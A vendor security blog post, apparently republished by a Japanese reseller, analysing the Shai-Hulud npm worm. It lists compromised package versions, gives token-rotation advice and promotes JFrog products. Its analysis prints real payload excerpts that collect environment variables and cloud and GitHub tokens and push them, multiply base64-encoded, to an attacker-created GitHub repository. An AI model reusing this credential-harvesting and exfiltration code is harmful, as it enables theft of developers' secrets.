[Warning]The Largest npm Software Supply Chain Attack in History: Shai-Hulud ~ Over 20 Malicious OSS Packages Downloaded 2 Million Times in One Week

Meanwhile, we have received reports that many JFrog user companies were able to prevent this risk in the current incident. JFrog’s Platform, which has a Curation feature and an Xray, is an essential tool for strengthening security governance in the software supply chain. These features provide an environment where developers are protected from malicious packages and can only use trusted components.

For more details on these countermeasures, please feel free to contact us at https://jfrog.com/ja/platform/schedule-a-demo/ (available in both Japanese and English).

The Difference Between Malicious Packages and Vulnerable Packages

Security risks are always present in software development and use. Both “malicious packages” and “vulnerable packages” can pose dangers, but there are significant differences in their nature and intent.

Malicious Packages

• Malicious Packages Definition: Software designed to cause harm to users or systems. Often includes malware, spyware, backdoors, etc.
• Purpose:
  • Unauthorized intrusion into systems
  • Execution of other malicious activities
  • Theft of user data

• Example: A package disguised as a legitimate library may open a backdoor upon installation.

Vulnerable Packages

• Vulnerable Packages Definition: Software that poses security risks due to design or implementation flaws. Not necessarily created with malicious intent.
• Purpose: Generally created with good intentions, but may be exploited.

Why Community-Based OSS Dependencies Have Become a Means of Attack

Community-based open source software (OSS) is susceptible to cyberattacks due to its open nature and widespread use. The reasons are as follows:

1. Openness: OSS code is publicly available, making it easy for attackers to discover vulnerabilities.
2. Complexity of dependencies: Many OSS projects depend on other packages, which attackers can exploit.
3. Speed of development and uneven quality: Prioritizing development speed too much can result in insufficient security testing.
4. Exploitation of trust relationships: Trust relationships within the OSS community can be exploited to hide malicious code in legitimate packages.
5. Social impact: OSS is less likely to undergo external audits, making security issues harder to detect.

For these reasons, OSS carries a high risk of attack, and developers and users need to implement the latest security measures.

About npm Shai-Hulud

On September 15, 2025, engineers discovered a supply chain attack on the NPM repository. Unlike conventional NPM attacks, this campaign used new self-propagating malware (also known as a worm) to continuously spread itself. At the time of writing, approximately 200 infected packages have been identified, including the popular “@ctrl/tinycolor” and multiple repositories owned by CrowdStrike.

When this new worm “Shai-Hulud” is executed, it steals credentials and sends them externally, and then attempts to find additional NPM packages to copy itself into. The malicious code attempts to leak data on GitHub by making private repositories public. The Sysdig Threat Research Team (TRT) has been monitoring the progress of this worm since its discovery. Due to a rapid response, the number of newly infected packages has been significantly reduced. At the time of writing, no new packages have been seen for several hours, but the situation may change.

Characteristics of Shai-Hulud

The Shai-Hulud malware carries out a multi-stage attack. It first conducts a phishing campaign to steal developer credentials. This targets GitHub and npm tokens. It then injects malicious code into the postinstall script of npm packages. When a developer installs an infected package, the script performs several of the following actions:

• Credential Harvesting: Scans for sensitive data in the environment (GitHub PATs, npm tokens, SSH keys, cloud provider keys [AWS, GCP, Azure], etc.). Some variants use tools like TruffleHog to more aggressively search for secrets.
• Data Exfiltration: Stolen data is encoded (usually double Base64) and dumped into files such as data.json in a public GitHub repository named “Shai-Hulud.” It also attempts to send data to a Webhook (e.g., webhook[.]site), some of which have been shut down due to excessive activity.
• Worm Propagation: When a valid npm token is found in the environment, it uses it to publish malicious versions of other packages maintained by the maintainer. This creates a self-regenerating cycle, spreading the infection throughout the npm ecosystem.
• Persistence: The malware pushes malicious GitHub Actions workflows (usually named shai-hulud-workflow.yml) to accessible repositories. These workflows exfiltrate more secrets and, in some cases, convert private organizational repositories into public repositories under attacker-controlled accounts. They are suffixed with “Shai-Hulud Migration” and “-migration.”

This attack builds on previous compromises such as S1ngularity/Nx, where stolen GitHub tokens led to broader supply chain attacks. It is one of the first successful self-propagating worms in the npm ecosystem and poses a serious threat.

Attack Method: Shai-Hulud Data Stealer Payload

The malicious payload is bundled in a bundle.js file and packaged as a Webpack application. While promising to optimize the system, its actual functionality is far more dangerous.

{

  name: "System Info App",

  version: "1.0.0",

  description: "Optimizes system."

}

Instead of optimizing the system, it first collects complete system information including credentials from GitHub, NPM, AWS, and GCP. In addition to supported platforms, it downloads and runs an open-source utility called TruffleHog to search for and collect the aforementioned secrets.

const system_info = {

   application: t.getConfig(),

   system: {

       platform: r.platform,

       architecture: r.architecture,

       platformDetailed: r.platformRaw,

       architectureDetailed: r.archRaw

   },

   runtime: runtime_info,

   environment: process.env,

   modules: {

       github: {

           authenticated: GitHubModule.isAuthenticated(),

           token: GitHubModule.getCurrentToken()

       },

       aws: {

           secrets: ue

       },

       gcp: {

           secrets: de

       },

       truffleHog: truffle_hog_dump,

       npm: {

           token: npm_token,

           authenticated: npm_authenticated,

           username: npm_user

       }

   }

};

After the data is collected, it attempts to authenticate with an existing user account, and if successful, creates a repository named “Shai-Hulud” using the stolen content. This content is encoded multiple times in base64.

async makeRepo(t, r) {

   const n = (await this.octokit.rest.repos.createForAuthenticatedUser({

       name: t,

       description: "Shai-Hulud Repository.",

       private: true,

   })).data;

   return await new Promise(t => setTimeout(t, 3000)), r && await this.octokit.rest.repos.createOrUpdateFileContents({

       path: "data.json",

       message: "Initial commit",

       content: Buffer.from(Buffer.from(Buffer.from(r).toString("base64")).toString("base64")).toString("base64")

   })

}

If GitHubModule.isAuthenticated() is true and GitHubModule.repoExists(“Shai-Hulud”) is false, the following process is executed:

if (GitHubModule.isAuthenticated() && !GitHubModule.repoExists("Shai-Hulud")) {

   await GitHubModule.makeRepo("Shai-Hulud", formatOutput(pe));

   exitWithCode(0);

}

Eight variants of the above payload were observed. While the main functionality is the same, some versions have slight differences, suggesting incremental adjustments by the attacker throughout the campaign. For example, in some versions, the “Shai-Hulud” repository is set to private to hide its discovery. Other versions also attempt to steal Azure credentials in addition to the four credential types mentioned above.

What Affected Users Should Do

If you have installed any of the packages listed in “Compromised Packages,” the malicious payload may have exfiltrated sensitive information from your system. Please perform the following actions:

1. Rotate the access tokens of the following providers stored on affected machines:
   • GitHub
   • NPM
   • AWS
   • GCP
   • Azure
2. Rotate the access tokens stored on affected machines that can be identified by TruffleHog. Supported providers can be searched in TruffleHog’s GitHub repository.

Who Is Behind This Attack

The use of GitHub repositories to store stolen data mirrors techniques seen in the previous NX CLI compromise. However, this is insufficient to determine whether these incidents were carried out by the same attacker. While the tools and payload design are similar, attribution remains unknown.

Compromised Packages

The general report included the following compromised package versions:

angulartics2@14.1.2

@ctrl/deluge@7.2.2

@ctrl/golang-template@1.4.3

@ctrl/magnet-link@4.0.4

@ctrl/ngx-codemirror@7.0.2

@ctrl/ngx-csv@6.0.2

@ctrl/ngx-emoji-mart@9.2.2

@ctrl/ngx-rightclick@4.0.2

@ctrl/qbittorrent@9.7.2

@ctrl/react-adsense@2.0.2

@ctrl/shared-torrent@6.3.2

@ctrl/tinycolor@4.1.1, @4.1.2

@ctrl/torrent-file@4.1.2

@ctrl/transmission@7.3.1

@ctrl/ts-base32@4.0.2

encounter-playground@0.0.5

json-rules-engine-simplified@0.2.4, 0.2.1

koa2-swagger-ui@5.11.2, 5.11.1

@nativescript-community/gesturehandler@2.0.35

@nativescript-community/sentry 4.6.43

@nativescript-community/text@1.6.13

@nativescript-community/ui-collectionview@6.0.6

@nativescript-community/ui-drawer@0.1.30

@nativescript-community/ui-image@4.5.6

@nativescript-community/ui-material-bottomsheet@7.2.72

@nativescript-community/ui-material-core@7.2.76

@nativescript-community/ui-material-core-tabs@7.2.76

ngx-color@10.0.2

ngx-toastr@19.0.2

ngx-trend@8.0.1

react-complaint-image@0.0.35

react-jsonschema-form-conditionals@0.3.21

react-jsonschema-form-extras@1.0.4

rxnt-authentication@0.0.6

rxnt-healthchecks-nestjs@1.0.5

rxnt-kue@1.0.7

swc-plugin-component-annotate@1.9.2

ts-gaussian@3.0.6

JFrog Platform Protects the Entire Software Supply Chain Security and Governance

To address this incident, there are three main points:

1. Block the download and use of malicious packages with immediate governance
2. Investigate and address packages in current development and production environments
3. Control the overall cache with Artifactory’s remote repository feature

Discovery and Countermeasures for Malicious Packages with JFrog Xray and Curation Features

While the use of open source libraries is common in software development, there are lurking risks of malicious packages. By leveraging JFrog Platform’s Xray and Curation, these risks can be effectively managed.

The Importance of the Curation Feature ~ Blocking the Download and Use of Malicious Packages with Immediate Governance

1. Artifact Selection
   • By leveraging the Curation feature, trusted and malicious artifacts can be distinguished. It is possible to download and cache only approved packages according to specific policies and guidelines.
2. Secure Version Management
   • Curation manages versions of all artifacts and filters out malicious or vulnerable ones. Operations teams can always use the latest and safest artifacts.
3. Policy and Compliance Enforcement
   • The Curation feature manages which artifacts are used based on the organization’s security policies. This reduces legal and compliance risks.

Features and Benefits of JFrog Xray ~ Investigation and Countermeasures for Packages in Current Development and Production Environments

1. Real-time Vulnerability Scanning
   • Xray performs real-time scans on artifacts and their dependencies within repositories. This enables early detection of vulnerabilities and malicious packages in software components, with remediation reports and impact assessment.

2. Deep Dependency Analysis
   • Xray has the ability to scan every corner of dependencies, visualizing the impact that malicious code or vulnerabilities have on other packages. This allows for selecting safer configurations.

3. Alert Functionality
   • Real-time alerts are issued when vulnerabilities are detected. Development teams can immediately understand the risk and respond quickly.

Cache Control with Artifactory’s Remote Repository Feature

By using Artifactory’s remote repository feature, artifacts from external package repositories can be managed and the overall cache can be effectively controlled. This provides the following benefits:

1. Cache Management
   • Remote repositories cache artifacts from external repositories, increasing reusability. This reduces download delays and smooths the development process.

2. Access Control
   • By controlling access to remote repositories, only trusted packages are cached, preventing the intrusion of malicious artifacts.

3. Policy-Based Cache Management
   • The selection of artifacts stored in remote repositories is carried out based on organizational policies and cached accordingly. This maintains a lower-risk environment.

In this way, by leveraging the JFrog Platform and Artifactory’s remote repository feature, it becomes possible to strengthen software supply chain security and reduce risks from malicious packages.

In this incident, JFrog users around the world, including Morgan Stanley, were able to prevent malicious package attacks. Please feel free to contact us for details on setup.

JFrog Security Research Team’s Efforts

At JFrog, a dedicated security research team drives industry-leading features. This team plays the role of continuously monitoring and analyzing new threats, discovering vulnerabilities, and developing actionable insights to protect JFrog’s products and customers’ applications. The proactive approach of the JFrog Security Research Team enables security practices to always stay ahead of evolving risks, and allows those insights to be incorporated into the platform and solutions.

JFrog’s unique value lies in specialized research that not only identifies potential risks, but also provides strategic guidance on how integrated security solutions can reliably strengthen the application delivery pipeline. This seamless fusion of expertise and concrete security enhancement has established JFrog as a trusted partner in the DevOps and continuous delivery space. JFrog has a long-term focus on this issue and continues to invest in security research. For more details, please refer here.

Due to the significant impact of this incident, JFrog continues to research the following packages:

Newly detected compromised packages (ongoing)
We’re continuing to track the unfolding compromise of more packages in this campaign. Our monitoring infrastructure has detected additional malicious packages with the same payload (or variations of it) with hundreds of versions:

@ahmedhfarag/ngx-perfect-scrollbar@20.0.20
@ahmedhfarag/ngx-virtual-scroller@4.0.4
@art-ws/common@2.0.22
@art-ws/common@2.0.28
@art-ws/config-eslint@2.0.4
@art-ws/config-eslint@2.0.5
@art-ws/config-ts@2.0.7
@art-ws/config-ts@2.0.8
@art-ws/db-context@2.0.21
@art-ws/db-context@2.0.24
@art-ws/di@2.0.28
@art-ws/di@2.0.32
@art-ws/di-node@2.0.13
@art-ws/eslint@1.0.5
@art-ws/eslint@1.0.6
@art-ws/fastify-http-server@2.0.24
@art-ws/fastify-http-server@2.0.27
@art-ws/http-server@2.0.21
@art-ws/http-server@2.0.25
@art-ws/openapi@0.1.12
@art-ws/openapi@0.1.9
@art-ws/package-base@1.0.5
@art-ws/package-base@1.0.6
@art-ws/prettier@1.0.5
@art-ws/prettier@1.0.6
@art-ws/slf@2.0.15
@art-ws/slf@2.0.22
@art-ws/ssl-info@1.0.10
@art-ws/ssl-info@1.0.9
@art-ws/web-app@1.0.3
@art-ws/web-app@1.0.4
@basic-ui-components-stc/basic-ui-components@1.0.5
@crowdstrike/commitlint@8.1.1
@crowdstrike/commitlint@8.1.2
@crowdstrike/falcon-shoelace@0.4.1
@crowdstrike/falcon-shoelace@0.4.2
@crowdstrike/foundry-js@0.19.1
@crowdstrike/foundry-js@0.19.2
@crowdstrike/glide-core@0.34.2
@crowdstrike/glide-core@0.34.3
@crowdstrike/logscale-dashboard@1.205.1
@crowdstrike/logscale-dashboard@1.205.2
@crowdstrike/logscale-file-editor@1.205.1
@crowdstrike/logscale-file-editor@1.205.2
@crowdstrike/logscale-parser-edit@1.205.1
@crowdstrike/logscale-parser-edit@1.205.2
@crowdstrike/logscale-search@1.205.1
@crowdstrike/logscale-search@1.205.2
@crowdstrike/tailwind-toucan-base@5.0.1
@crowdstrike/tailwind-toucan-base@5.0.2
@ctrl/deluge@7.2.1
@ctrl/golang-template@1.4.2
@ctrl/magnet-link@4.0.3
@ctrl/ngx-codemirror@7.0.1
@ctrl/ngx-csv@6.0.1
@ctrl/ngx-emoji-mart@9.2.1
@ctrl/ngx-rightclick@4.0.1
@ctrl/qbittorrent@9.7.1
@ctrl/react-adsense@2.0.1
@ctrl/shared-torrent@6.3.1
@ctrl/tinycolor@4.1.1
@ctrl/tinycolor@4.1.2
@ctrl/torrent-file@4.1.1
@ctrl/ts-base32@4.0.1
@hestjs/core@0.2.1
@hestjs/cqrs@0.1.6
@hestjs/demo@0.1.2
@hestjs/eslint-config@0.1.2
@hestjs/logger@0.1.6
@hestjs/scalar@0.1.7
@hestjs/validation@0.1.6
@nativescript-community/arraybuffers@1.1.6
@nativescript-community/arraybuffers@1.1.7
@nativescript-community/arraybuffers@1.1.8
@nativescript-community/perms@3.0.5
@nativescript-community/perms@3.0.6
@nativescript-community/perms@3.0.7
@nativescript-community/perms@3.0.8
@nativescript-community/perms@3.0.9
@nativescript-community/sentry@4.6.43
@nativescript-community/sqlite@3.5.3
@nativescript-community/sqlite@3.5.4
@nativescript-community/sqlite@3.5.5
@nativescript-community/text@1.6.10
@nativescript-community/text@1.6.11
@nativescript-community/text@1.6.12
@nativescript-community/text@1.6.9
@nativescript-community/typeorm@0.2.30
@nativescript-community/typeorm@0.2.31
@nativescript-community/typeorm@0.2.32
@nativescript-community/typeorm@0.2.33
@nativescript-community/ui-document-picker@1.1.27
@nativescript-community/ui-document-picker@1.1.28
@nativescript-community/ui-label@1.3.35
@nativescript-community/ui-label@1.3.36
@nativescript-community/ui-label@1.3.37
@nativescript-community/ui-material-bottom-navigation@7.2.72
@nativescript-community/ui-material-bottom-navigation@7.2.73
@nativescript-community/ui-material-bottom-navigation@7.2.74
@nativescript-community/ui-material-bottom-navigation@7.2.75
@nativescript-community/ui-material-core@7.2.72
@nativescript-community/ui-material-core@7.2.73
@nativescript-community/ui-material-core@7.2.74
@nativescript-community/ui-material-core@7.2.75
@nativescript-community/ui-material-core-tabs@7.2.72
@nativescript-community/ui-material-core-tabs@7.2.73
@nativescript-community/ui-material-core-tabs@7.2.74
@nativescript-community/ui-material-core-tabs@7.2.75
@nativescript-community/ui-material-ripple@7.2.72
@nativescript-community/ui-material-ripple@7.2.73
@nativescript-community/ui-material-ripple@7.2.74
@nativescript-community/ui-material-ripple@7.2.75
@nativescript-community/ui-material-tabs@7.2.72
@nativescript-community/ui-material-tabs@7.2.73
@nativescript-community/ui-material-tabs@7.2.74
@nativescript-community/ui-material-tabs@7.2.75
@nativescript-community/ui-pager@14.1.35
@nativescript-community/ui-pager@14.1.36
@nativescript-community/ui-pager@14.1.37
@nativescript-community/ui-pager@14.1.38
@nativescript-community/ui-pulltorefresh@2.5.4
@nativescript-community/ui-pulltorefresh@2.5.5
@nativescript-community/ui-pulltorefresh@2.5.6
@nativescript-community/ui-pulltorefresh@2.5.7
@nexe/config-manager@0.1.1
@nexe/eslint-config@0.1.1
@nexe/logger@0.1.3
@nstudio/angular@20.0.4
@nstudio/angular@20.0.5
@nstudio/angular@20.0.6
@nstudio/focus@20.0.4
@nstudio/focus@20.0.5
@nstudio/focus@20.0.6
@nstudio/nativescript-checkbox@2.0.6
@nstudio/nativescript-checkbox@2.0.7
@nstudio/nativescript-checkbox@2.0.8
@nstudio/nativescript-checkbox@2.0.9
@nstudio/nativescript-loading-indicator@5.0.1
@nstudio/nativescript-loading-indicator@5.0.2
@nstudio/nativescript-loading-indicator@5.0.3
@nstudio/nativescript-loading-indicator@5.0.4
@nstudio/ui-collectionview@5.1.11
@nstudio/ui-collectionview@5.1.12
@nstudio/ui-collectionview@5.1.13
@nstudio/ui-collectionview@5.1.14
@nstudio/web@20.0.4
@nstudio/web-angular@20.0.4
@nstudio/xplat@20.0.4
@nstudio/xplat@20.0.5
@nstudio/xplat@20.0.6
@nstudio/xplat@20.0.7
@nstudio/xplat-utils@20.0.4
@nstudio/xplat-utils@20.0.5
@nstudio/xplat-utils@20.0.6
@nstudio/xplat-utils@20.0.7
@operato/board@9.0.35
@operato/board@9.0.36
@operato/board@9.0.37
@operato/board@9.0.38
@operato/board@9.0.39
@operato/board@9.0.40
@operato/board@9.0.41
@operato/board@9.0.42
@operato/board@9.0.43
@operato/board@9.0.44
@operato/board@9.0.45
@operato/board@9.0.46
@operato/board@9.0.47
@operato/board@9.0.48
@operato/board@9.0.49
@operato/board@9.0.50
@operato/board@9.0.51
@operato/data-grist@9.0.29
@operato/data-grist@9.0.35
@operato/data-grist@9.0.36
@operato/data-grist@9.0.37
@operato/graphql@9.0.22
@operato/graphql@9.0.35
@operato/graphql@9.0.36
@operato/graphql@9.0.37
@operato/graphql@9.0.38
@operato/graphql@9.0.39
@operato/graphql@9.0.40
@operato/graphql@9.0.41
@operato/graphql@9.0.42
@operato/graphql@9.0.43
@operato/graphql@9.0.44
@operato/graphql@9.0.45
@operato/graphql@9.0.46
@operato/graphql@9.0.47
@operato/graphql@9.0.48
@operato/graphql@9.0.49
@operato/graphql@9.0.50
@operato/graphql@9.0.51
@operato/headroom@9.0.2
@operato/headroom@9.0.35
@operato/headroom@9.0.36
@operato/headroom@9.0.37
@operato/help@9.0.35
@operato/help@9.0.36
@operato/help@9.0.37
@operato/help@9.0.38
@operato/help@9.0.39
@operato/help@9.0.40
@operato/help@9.0.41
@operato/help@9.0.42
@operato/help@9.0.43
@operato/help@9.0.44
@operato/help@9.0.45
@operato/help@9.0.46
@operato/help@9.0.47
@operato/help@9.0.48
@operato/help@9.0.49
@operato/help@9.0.50
@operato/help@9.0.51
@operato/i18n@9.0.35
@operato/i18n@9.0.36
@operato/i18n@9.0.37
@operato/input@9.0.35
@operato/input@9.0.36
@operato/input@9.0.37
@operato/input@9.0.38
@operato/input@9.0.39
@operato/input@9.0.40
@operato/input@9.0.41
@operato/input@9.0.42
@operato/input@9.0.43
@operato/input@9.0.44
@operato/input@9.0.45
@operato/input@9.0.46
@operato/input@9.0.47
@operato/input@9.0.48
@operato/layout@9.0.35
@operato/layout@9.0.37
@operato/popup@9.0.35
@operato/popup@9.0.36
@operato/popup@9.0.37
@operato/popup@9.0.38
@operato/popup@9.0.39
@operato/popup@9.0.40
@operato/popup@9.0.41
@operato/popup@9.0.42
@operato/popup@9.0.43
@operato/popup@9.0.44
@operato/popup@9.0.45
@operato/popup@9.0.46
@operato/popup@9.0.47
@operato/popup@9.0.48
@operato/popup@9.0.49
@operato/popup@9.0.50
@operato/popup@9.0.51
@operato/pull-to-refresh@9.0.35
@operato/pull-to-refresh@9.0.36
@operato/pull-to-refresh@9.0.37
@operato/pull-to-refresh@9.0.38
@operato/pull-to-refresh@9.0.39
@operato/pull-to-refresh@9.0.40
@operato/pull-to-refresh@9.0.41
@operato/pull-to-refresh@9.0.42
@operato/pull-to-refresh@9.0.43
@operato/pull-to-refresh@9.0.44
@operato/pull-to-refresh@9.0.45
@operato/pull-to-refresh@9.0.46
@operato/pull-to-refresh@9.0.47
@operato/shell@9.0.22
@operato/shell@9.0.35
@operato/shell@9.0.36
@operato/shell@9.0.37
@operato/shell@9.0.38
@operato/shell@9.0.39
@operato/styles@9.0.2
@operato/styles@9.0.35
@operato/styles@9.0.36
@operato/styles@9.0.37
@operato/utils@9.0.22
@operato/utils@9.0.35
@operato/utils@9.0.36
@operato/utils@9.0.37
@operato/utils@9.0.38
@operato/utils@9.0.39
@operato/utils@9.0.40
@operato/utils@9.0.41
@operato/utils@9.0.42
@operato/utils@9.0.43
@operato/utils@9.0.44
@operato/utils@9.0.45
@operato/utils@9.0.46
@operato/utils@9.0.47
@operato/utils@9.0.48
@operato/utils@9.0.49
@operato/utils@9.0.50
@operato/utils@9.0.51
@teselagen/bio-parsers@0.4.29
@teselagen/bio-parsers@0.4.30
@teselagen/bounce-loader@0.3.16
@teselagen/bounce-loader@0.3.17
@teselagen/file-utils@0.3.21
@teselagen/file-utils@0.3.22
@teselagen/liquibase-tools@0.4.1
@teselagen/ove@0.7.39
@teselagen/ove@0.7.40
@teselagen/range-utils@0.3.14
@teselagen/range-utils@0.3.15
@teselagen/react-list@0.8.19
@teselagen/react-list@0.8.20
@teselagen/react-table@6.10.19
@teselagen/react-table@6.10.20
@teselagen/react-table@6.10.21
@teselagen/react-table@6.10.22
@teselagen/sequence-utils@0.3.33
@teselagen/sequence-utils@0.3.34
@teselagen/ui@0.9.10
@teselagen/ui@0.9.9
@thangved/callback-window@1.1.4
@things-factory/attachment-base@9.0.42
@things-factory/attachment-base@9.0.43
@things-factory/attachment-base@9.0.44
@things-factory/attachment-base@9.0.45
@things-factory/attachment-base@9.0.46
@things-factory/attachment-base@9.0.47
@things-factory/attachment-base@9.0.48
@things-factory/attachment-base@9.0.49
@things-factory/attachment-base@9.0.50
@things-factory/attachment-base@9.0.51
@things-factory/attachment-base@9.0.52
@things-factory/attachment-base@9.0.53
@things-factory/attachment-base@9.0.54
@things-factory/attachment-base@9.0.55
@things-factory/auth-base@9.0.42
@things-factory/auth-base@9.0.43
@things-factory/auth-base@9.0.44
@things-factory/auth-base@9.0.45
@things-factory/email-base@9.0.42
@things-factory/email-base@9.0.43
@things-factory/email-base@9.0.44
@things-factory/email-base@9.0.45
@things-factory/email-base@9.0.46
@things-factory/email-base@9.0.47
@things-factory/email-base@9.0.48
@things-factory/email-base@9.0.49
@things-factory/email-base@9.0.50
@things-factory/email-base@9.0.51
@things-factory/email-base@9.0.52
@things-factory/email-base@9.0.53
@things-factory/email-base@9.0.54
@things-factory/email-base@9.0.55
@things-factory/email-base@9.0.56
@things-factory/email-base@9.0.57
@things-factory/email-base@9.0.58
@things-factory/email-base@9.0.59
@things-factory/env@9.0.42
@things-factory/env@9.0.43
@things-factory/env@9.0.44
@things-factory/env@9.0.45
@things-factory/integration-base@9.0.42
@things-factory/integration-base@9.0.43
@things-factory/integration-base@9.0.44
@things-factory/integration-base@9.0.45
@things-factory/integration-marketplace@9.0.42
@things-factory/integration-marketplace@9.0.43
@things-factory/integration-marketplace@9.0.44
@things-factory/integration-marketplace@9.0.45
@things-factory/shell@9.0.42
@things-factory/shell@9.0.43
@things-factory/shell@9.0.44
@things-factory/shell@9.0.45
@tnf-dev/api@1.0.8
@tnf-dev/core@1.0.8
@tnf-dev/js@1.0.8
@tnf-dev/mui@1.0.8
@tnf-dev/react@1.0.8
@ui-ux-gang/devextreme-angular-rpk@24.1.7
@ui-ux-gang/devextreme-rpk@24.1.7
@yoobic/design-system@6.5.17
@yoobic/jpeg-camera-es6@1.0.13
@yoobic/yobi@8.7.53
ace-colorpicker-rpk@0.0.14
airchief@0.3.1
airpilot@0.8.8
angulartics2@14.1.1
browser-webdriver-downloader@3.0.8
capacitor-notificationhandler@0.0.2
capacitor-notificationhandler@0.0.3
capacitor-plugin-healthapp@0.0.2
capacitor-plugin-healthapp@0.0.3
capacitor-plugin-ihealth@1.1.8
capacitor-plugin-ihealth@1.1.9
capacitor-plugin-vonage@1.0.2
capacitor-plugin-vonage@1.0.3
capacitorandroidpermissions@0.0.4
capacitorandroidpermissions@0.0.5
config-cordova@0.8.5
cordova-plugin-voxeet2@1.0.24
cordova-voxeet@1.0.32
create-hest-app@0.1.9
db-evo@1.1.4
db-evo@1.1.5
devextreme-angular-rpk@21.2.8
devextreme-rpk@21.2.8
ember-browser-services@5.0.2
ember-browser-services@5.0.3
ember-headless-form@1.1.2
ember-headless-form@1.1.3
ember-headless-form-yup@1.0.1
ember-headless-table@2.1.5
ember-headless-table@2.1.6
ember-url-hash-polyfill@1.0.12
ember-url-hash-polyfill@1.0.13
ember-velcro@2.2.1
ember-velcro@2.2.2
encounter-playground@0.0.2
encounter-playground@0.0.3
encounter-playground@0.0.4
eslint-config-crowdstrike@11.0.2
eslint-config-crowdstrike@11.0.3
eslint-config-crowdstrike-node@4.0.3
eslint-config-crowdstrike-node@4.0.4
eslint-config-teselagen@6.1.7
eslint-config-teselagen@6.1.8
globalize-rpk@1.7.4
graphql-sequelize-teselagen@5.3.8
graphql-sequelize-teselagen@5.3.9
html-to-base64-image@1.0.2
json-rules-engine-simplified@0.2.1
json-rules-engine-simplified@0.2.2
json-rules-engine-simplified@0.2.3
json-rules-engine-simplified@0.2.4
jumpgate@0.0.2
koa2-swagger-ui@5.11.1
koa2-swagger-ui@5.11.2
mcfly-semantic-release@1.3.1
mcp-knowledge-base@0.0.2
mcp-knowledge-graph@1.2.1
mobioffice-cli@1.0.3
monorepo-next@13.0.1
monorepo-next@13.0.2
mstate-angular@0.4.4
mstate-cli@0.4.7
mstate-dev-react@1.1.1
mstate-react@1.6.5
ng-imports-checker@0.0.10
ng-imports-checker@0.0.9
ng2-file-upload@7.0.2
ng2-file-upload@8.0.1
ng2-file-upload@8.0.2
ng2-file-upload@8.0.3
ng2-file-upload@9.0.1
ngx-bootstrap@18.1.4
ngx-bootstrap@19.0.3
ngx-bootstrap@19.0.4
ngx-bootstrap@20.0.3
ngx-bootstrap@20.0.4
ngx-bootstrap@20.0.5
ngx-bootstrap@20.0.6
ngx-color@10.0.1
ngx-toastr@19.0.1
ngx-ws@1.1.5
ngx-ws@1.1.6
oradm-to-gql@35.0.14
oradm-to-gql@35.0.15
oradm-to-sqlz@1.1.2
oradm-to-sqlz@1.1.3
oradm-to-sqlz@1.1.4
oradm-to-sqlz@1.1.5
ove-auto-annotate@0.0.10
ove-auto-annotate@0.0.9
pm2-gelf-json@1.0.4
pm2-gelf-json@1.0.5
printjs-rpk@1.6.1
react-complaint-image@0.0.32
react-complaint-image@0.0.33
react-complaint-image@0.0.34
react-jsonschema-form-conditionals@0.3.18
react-jsonschema-form-conditionals@0.3.19
react-jsonschema-form-conditionals@0.3.20
react-jsonschema-form-extras@1.0.1
react-jsonschema-form-extras@1.0.2
react-jsonschema-form-extras@1.0.3
react-jsonschema-rxnt-extras@0.4.6
react-jsonschema-rxnt-extras@0.4.7
react-jsonschema-rxnt-extras@0.4.8
react-jsonschema-rxnt-extras@0.4.9
remark-preset-lint-crowdstrike@4.0.1
remark-preset-lint-crowdstrike@4.0.2
rxnt-authentication@0.0.3
rxnt-authentication@0.0.4
rxnt-authentication@0.0.5
rxnt-healthchecks-nestjs@1.0.2
rxnt-healthchecks-nestjs@1.0.3
rxnt-healthchecks-nestjs@1.0.4
rxnt-kue@1.0.4
rxnt-kue@1.0.5
rxnt-kue@1.0.6
swc-plugin-component-annotate@1.9.1
tbssnch@1.0.2
teselagen-interval-tree@1.1.2
tg-client-query-builder@2.14.4
tg-client-query-builder@2.14.5
tg-redbird@1.3.1
tg-redbird@1.3.2
tg-seq-gen@1.0.10
tg-seq-gen@1.0.9
thangved-react-grid@1.0.3
ts-gaussian@3.0.5
ts-imports@1.0.1
ts-imports@1.0.2
tvi-cli@0.1.5
ve-bamreader@0.2.6
ve-bamreader@0.2.7
ve-editor@1.0.1
ve-editor@1.0.2
verror-extra@6.0.1
voip-callkit@1.0.2
voip-callkit@1.0.3
wdio-web-reporter@0.1.3
yargs-help-output@5.0.3
yoo-styles@6.0.326

Author of This Article ~ Alex Wang (王 子龍) JFrog Japan

During my time as a strategy consultant, I led projects in agile and DevOps coaching for industries such as IT, automotive, and manufacturing, including development environment setup and CI/CD implementation. Currently, I am working to expand and promote DevSecOps and the latest overseas software development security measures in Japan.

---

For questions about JFrog, please contact XLsoft, the authorized distributor in Japan.

---

This article has been created and published with permission from JFrog.

Click here to subscribe to the email newsletter from XLsoft, which provides popular software from around the world.